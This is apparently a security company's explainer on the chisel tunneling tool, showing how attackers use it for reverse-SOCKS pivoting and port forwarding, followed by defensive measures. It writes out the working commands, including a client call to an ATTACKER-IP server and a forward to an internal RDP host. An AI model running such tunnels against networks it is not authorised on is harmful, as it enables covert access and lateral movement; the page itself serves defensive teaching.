What is chisel?

chisel is an open-source TCP/UDP tunneling tool that creates port forwards and SOCKS proxies over a single HTTP connection (optionally encrypted). It is popular for pivoting when SSH is not available on the compromised host, especially on Windows. It runs as a server on one side and a client on the other, and its `--reverse` mode lets a client behind a firewall expose a SOCKS proxy back to the attacker's server. Functionally it does what SSH `-L/-R/-D` do, without needing SSH.

HOW IT WORKS

01 How it works and payload

A common reverse-SOCKS pivot looks like:

- Attacker runs the server: `chisel server -p 8000 --reverse`
- Pivot runs the client, exposing a reverse SOCKS proxy: `chisel client ATTACKER-IP:8000 R:socks`
- The attacker now has a SOCKS proxy (default port 1080) into the pivot's network and runs tools through it (with proxychains).
- Specific port forwards work too: `chisel client ATTACKER:8000 R:9000:10.10.0.20:3389`

Documented techniques shown for defenders.

> WHEN SSH IS MISSING
>
> *chisel exists for hosts (often Windows) where SSH is not handy. It does the same forwarding as SSH but over HTTP, which is why egress filtering and traffic monitoring matter even for web-looking connections.*

HOW TO DEFEND

- Restrict egress so a pivot cannot open an outbound HTTP tunnel to an arbitrary server.
- Segment so a tunnel that does form reaches little.
- Monitor for long-lived HTTP connections that carry non-web traffic and for SOCKS proxy patterns.
- Use application allow-listing to stop unknown binaries like a dropped chisel client from running.
- Inspect outbound traffic at proxies and egress points.

SOURCES

[1] MITRE ATT&CK: Lateral Movement (TA0008)

[2] NIST SP 800-115 Technical Guide to Security Testing

[3] Linux man-pages: ssh(1)

Find the lateral-movement paths before an attacker does.

securelayer7.net/learn/lateral-movement/what-is-chisel

Open online